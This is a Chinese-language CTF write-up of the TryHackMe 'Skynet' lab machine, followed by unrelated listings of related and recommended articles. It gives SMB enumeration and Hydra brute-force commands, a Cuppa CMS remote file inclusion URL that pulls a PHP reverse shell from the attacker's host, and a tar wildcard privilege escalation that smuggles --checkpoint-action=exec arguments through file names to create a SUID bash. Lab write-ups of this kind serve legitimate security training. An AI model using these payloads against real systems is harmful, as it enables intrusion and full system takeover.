通过学习相关知识点:攻破Linux目标机器并完成提权操作。

部署并渗透目标机器

step1

使用Nmap扫描端口

nmap -p- -sC -sV -T4 -v 10.10.164.81

139/445端口开放,可知目标机开启了SMB服务

枚举SMB共享

smbclient -L \\10.10.164.81

获取到一些可能能访问的SMB服务账号:anonymous、milesdyson

使用命令连接SMB服务中的匿名账户并获取所需文件

smbclient  // 10.10.164.81/anonymous

分析attention.txt文本内容:管理员通知员工及时修改密码修改,所以最近可能发生过密码更改行为,根据文本内容中的署名及SMB服务账户名称--管理员账户为milesdyson

我们还得到了一份密码记录,该密码记录中可能包含了目标站点的密码信息

使用gobuster扫描目录(针对目标站点)

gobuster dir -u http://10.10.164.81/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-error

访问目标站点的二级目录/squirrelmail(10.10.164.81/squirrelmail)结果会自动跳转至/squirrelmail/src/login.php页面--这是一个邮件系统的登录页面

结合已知信息使用Hydra 爆破上图中的邮件服务器登录页面

hydra-l milesdyson -P log1.txt 10.10.164.81 http-form-post "/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect."

破解得到的结果:milesdyson cyborg007haloterminator

step2

登录邮件服务器并查看邮件信息

访问10.10.164.81/squirrelmail/src/login.php页面进行登录即可

由邮件信息可知,SMB账户milesdyson的新密码为:)s{A&2Z=F^n_E.B`

登录SMB账户

smbclient -U milesdyson //10.10.164.81/milesdyson

查看文本文件内容

获取到的有效信息:二级目录/45kra24zxs28v3yd

step3

针对隐藏二级目录进行目标扫描

gobuster dir -u http://10.10.164.81/45kra24zxs28v3yd/ -w /usr/share/wordlists/</span>dirbuster/directory-list-2.3-medium.txt --no-error

得到CMS后台管理的登录页面:http://10.10.164.81/45kra24zxs28v3yd/administrator/

CMS信息:Cuppa CMS

根据CMS信息查找exp

在https://www.exploit-db.com/上搜索关键字Cuppa以查找Cuppa CMS相关的漏洞exp

step4

构造payload以获取目标shell

继续查看相关exp的利用方法

我们可以构造如下的远程文件包含payload,在浏览器执行即可

http://$IP1/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://$IP2/php-reverse-shell.php 

原理:利用相关CMS的远程文件包含漏洞,让目标页面远程包含--本地攻击机所开启的简易服务器上的反向shell文件,这样我们在浏览器中一旦输入上述payload 就能让目标页面弹一个shell到我们的本地攻击机。

我们首先要在本地机上建立并修改好一个可使用的反向shell文件(主要是修改shell文件内容中的ip信息和端口信息),然后我们再在本地机上开启一个简易的服务器以便目标服务器实现远程包含,我们还需要建立一个Netcat监听器以便接收来自目标服务器的shell。

完成上述操作后,我们在本地机的浏览器中针对目标页面 执行远程包含漏洞的相关payload即可

http://10.10.164.81/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.13.16.58:8000/php-reverse-shell.php

查看user flag

我们已经成功获取到目标shell,所以利用shell界面查看user flag即可

which python #验证目标机有无Python环境
python -c "import pty; pty.spawn('/bin/bash')" #利用Python环境将当前shell切换为一个更稳定的shell

user flag:7ce5c2109a40f958099283600a9ae807

https://img2023.cnblogs.com/blog/2857591/202302/2857591-20230210185222563-211659773.png

step5

进行提权操作

继续使用shell界面,进入backups目录并查看其中的文件内容

由上图可知以下信息:

backups目录下有一个backup.sh文件,其内容和作用是--切换目录至/var/www/html 并将该目录下的所有内容归档为backup.tgz压缩文件,该tgz文件保存在backups目录下;

通过查看/etc/crontab即定时任务可知--刚才描述的backups目录下的backup.sh文件是一个定时任务,该.sh脚本每分钟都会以root身份执行。

在查询 GTFOBins 网站后,我们发现通过tar命令可以利用一个名为–checkpoint的参数,该参数允许在每次归档 X 个文件时(X的默认值为10)显示“进度”消息, –checkpoint还可以与 –checkpoint-action 标志串联使用,–checkpoint-action标志允许在到达检查点(checkpoint)时以二进制或脚本的形式执行某些操作。

结合前述已知信息:由于backups目录下的backup.sh脚本中使用的通配符* 将对 /var/www/html 目录中的所有文件和文件夹执行归档命令,因此我们可以通过在/var/www/html下添加 –checkpoint=1 文件(启用检查点功能)和 –checkpoint-action=exec=xxx 文件(指定要执行的操作,检查点值为1,每归档一个文件都执行指定操作),那么当 tar 处理到以上文件时,相关的文件名将会被有效地视为tar命令的参数--从而执行某些操作。

在/var/www/html目录下创建一个BASH脚本,该脚本的执行结果将创建一个实质为bash副本的 SUID 二进制文件,我们将该脚本命名为newroot.sh:

echo "cp /bin/bash /tmp/nroot && chmod +s /tmp/nroot" > newroot.sh

继续在/var/www/html目录下执行命令创建以下两个文件,这两个文件的实际作用是以文件名作为 tar 命令行中的参数:

touch"/var/www/html/--checkpoint=1"
touch"/var/www/html/--checkpoint-action=exec=sh newroot.sh"

大约一分钟后,cron 计划作业(即backups目录下的backup.sh脚本)将会以root权限自动运行,从而能够成功创建一个SUID文件(/tmp/nroot),我们可以使用 -p 标志执行该SUID文件,这将允许以该文件的所有者身份(root)执行此二进制文件,进而可以根据此二进制文件的内容切换到root shell。

cd/tmp
ls
/tmp/nroot -p
whoami

查看root flag

通过刚才获得的root shell界面查找对应flag即可

THM-Skynet-Writeup的更多相关文章

  1. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  2. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  3. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  4. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  5. skynet的协程

    之前对skynet的印象,主要是来自于我对golang的理解,对gevent开发的经验,以及云风的blog.对于底层的代码,并没有仔细去阅读过.最近在实现业务系统的时候,发现有同事在同一个函数里做了一 ...

  6. Skynet Pomelo Erlang Elixir 的认识

    1.skynet pomelo(node.js) elixir(erlang) 周末研究总结 手游这两年发展来看,感觉对实时性要求越来越高,有同事在研究Elixir开发,google得知这东西是基于e ...

  7. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

  8. 转:云风skynet服务端框架研究

    转:  http://forthxu.com/blog/skynet.html skynet是云风编写的服务端底层管理框架,底层由C编写,配套lua作为脚本使用,可换python等其他脚本语言.sky ...

  9. skynet启动过程_bootstrap

    这遍摘自skynet 的wiki skynet 由一个或多个进程构成,每个进程被称为一个 skynet 节点.本文描述了 skynet 节点的启动流程. skynet 节点通过运行 skynet 主程 ...

  10. skynet启动过程_1

    skynet的启动时需带个配置文件,这个文件其实是作为lua全局变量用的,见 int main(int argc, char *argv[]) { const char * config_file = ...

随机推荐

  1. GESP 202312 游记

    day 0 把一本通上的指针扫了一遍,睡觉! day 1 9:00入场,在第二个考场. 冲进昌平二中,码了Hello,World!. 9:30发网址,开题 监考老师居然说阅读程序题可以打代码!···· ...

  2. ༺$Musique Collection 1$༻

    ~~头图~~ 自取捏 <\(Landslide\)>-\(Oh\,Wonder\) I know it hurts sometimes but You'll get over it You ...

  3. 4G EPS 中的 Bearer

    目录 文章目录 目录 前文列表 承载的内涵 EPS Bearer QoS QoS 的关键参数 APR GBR.MBR AMBR UE 是如何选择 EPS Bearer 的? E-RAB Radio B ...

  4. 【0day漏洞复现】北京慧飒科技有限责任公司WEB VIDEO PLATFORM存在未授权访问漏洞

    阅读须知 花果山的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站.服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作.利用此 ...

  5. log4j日志记录级别

    目录 一.日志的作用 二.log4j的日志级别和简介 三.log4j配置文件包含的节点简介 四.logger配置说明 一.日志的作用 ​ 问题追踪:通过日志不仅仅包括我们程序的一些 bug,也可以在安 ...

  6. TS码流解析(三)PES

    我们常说的音视频数据流在TS中被称为Elementary Stream(ES),也称为原始码流(裸流).ES流本身不含有传输所需的所有信息,为了在传输过程中同时携带PTS(Presentation T ...

  7. 用Yacht管理docker容器

    今天是六一儿童节,祝大小朋友们节日快乐! 从今天开始起,防范区的上海市民可以自由出入小区了.始于愚人节,终于儿童节,整整两个月时间,终于迎来了期盼已久的自由和正常. 周一上午的的核酸可能是我们最后一次 ...

  8. 将编译过的C++库迅速部署在Visual Studio新项目中

      本文介绍在Visual Studio中,通过属性表,使得一个新建解决方案中的项目可以快速配置已有解决方案的项目中各类已编译好的C++第三方库的方法.   例如,我们现有一个解决方案,其中的一个项目 ...

  9. php基本语法与安装

            // 什么是PHP         //     PHP 是 后端语言的一种          //         主要作用就是实现数据交互          //          ...

  10. kettle从入门到精通 第五十二课 ETL之kettle Avro output

    1.上一节课我们学习了avro input,本节课我们一起学习下avro out步骤. 本节课通过json input 加载json文件,通过avro out 生成avro二进制文件,写日志步骤打印日 ...